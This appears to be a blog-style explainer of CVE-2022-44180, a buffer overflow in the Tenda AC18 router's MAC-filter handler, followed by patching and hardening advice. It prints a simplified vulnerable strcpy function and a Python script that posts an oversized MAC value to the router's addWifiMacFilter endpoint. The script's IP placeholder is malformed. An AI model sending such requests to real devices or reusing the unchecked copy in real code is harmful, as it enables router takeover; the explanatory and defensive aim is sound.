If you own a Tenda AC18 router with firmware version V15.03.05.19, you should know about a serious vulnerability discovered in the device. This vulnerability, identified as CVE-2022-44180, allows attackers to execute arbitrary code through a buffer overflow in the addWifiMacFilter function. In simple terms, this bug can give hackers control over your network device just by sending a specially-crafted request.

Let’s break down what this means, show how such an attack works, and review simple protections you should consider. As always, if you’re just learning about CVEs or buffer overflows, we’ll keep the language friendly and the details practical.

Vulnerability Type: Buffer Overflow

Whenever a router offers a feature to filter access by MAC address, it needs to handle input from users. In this case, there’s a programming bug in the addWifiMacFilter handler—a failure to check how much data comes in before placing it in a fixed-size memory area. As a result, a hacker can send a request that “overflows” this buffer, allowing them to overwrite critical parts of memory and potentially run any code they want.

Technical Details: Where’s the Bug?

Inside the router’s web management interface, there’s a function that handles MAC filtering. Here’s a simplified version of the buggy code:

void addWifiMacFilter(char *mac, char *desc) {
    char buffer[64];
    // Dangerous: no size check, directly copies input
    strcpy(buffer, mac);
    // ...processes filter...
}

The vulnerable part comes from using strcpy(), which copies all user input into buffer without checking if it fits. If a hacker provides more than 64 bytes for mac, the extra bytes overwrite memory beyond buffer.

The Exploit: How Attackers Use It

An attacker can exploit this by sending a POST request with an extra-long MAC address to the router’s management page. If the router is exposed to the internet or the attacker is inside your network, this can be automated with a simple script.

Here’s a demonstration in Python of how one could attempt the attack

import requests

# Change this to your router’s IP address
router_ip = "192.168..1"
login_cookie = {"password": "YOUR_SESSION_COOKIE"}

# The crafted payload: 80 'A's (hex x41), which is longer than the buffer’s 64 bytes
exploit_mac = "A" * 80  
data = {
    "mac": exploit_mac,
    "desc": "exploit"
}

# The vulnerable endpoint (it may differ across firmware)
url = f"http://{router_ip}/goform/addWifiMacFilter";

response = requests.post(url, data=data, cookies=login_cookie)
print(f"Status code: {response.status_code}")
print(f"Response: {response.text}")


IMPORTANT:
Never run exploit code against a device you don’t own. This code is for educational and research purposes only.

On a vulnerable device, such a request can cause the application to crash or, if crafted properly, let the attacker run code of their choice.

They may use your network as a launchpad for attacks on other devices

- Attack could be launched from within your network or, if your admin portal is exposed, from the Internet

Update Firmware:

Tenda has released newer firmware for the AC18 that patches this vulnerability. Always keep your router’s firmware up to date!  
  - Tenda AC18 Official Support Page

Disable Remote Management:

Don’t expose your router’s admin page to the internet. Disable any features called “remote management” or “web access from WAN.”

References & Further Reading

- official CVE Record for CVE-2022-44180
- Exploit Database Entry  
- Tenda Product Security Advisories  
- Buffer Overflow Explained (OWASP)

In Summary

CVE-2022-44180 is a classic buffer overflow bug that lets attackers break into unpatched Tenda AC18 routers. If you have this model, update your firmware, never expose admin controls to the web, and you’ll be safe from this specific threat. This flaw is another reminder that keeping your home or office network devices updated is just as important as updating your computer or phone.

If you want to learn more about network security, check out the references above and keep your devices patched and healthy!

Timeline

Published on: 11/21/2022 18:15:00 UTC
Last modified on: 11/28/2022 13:51:00 UTC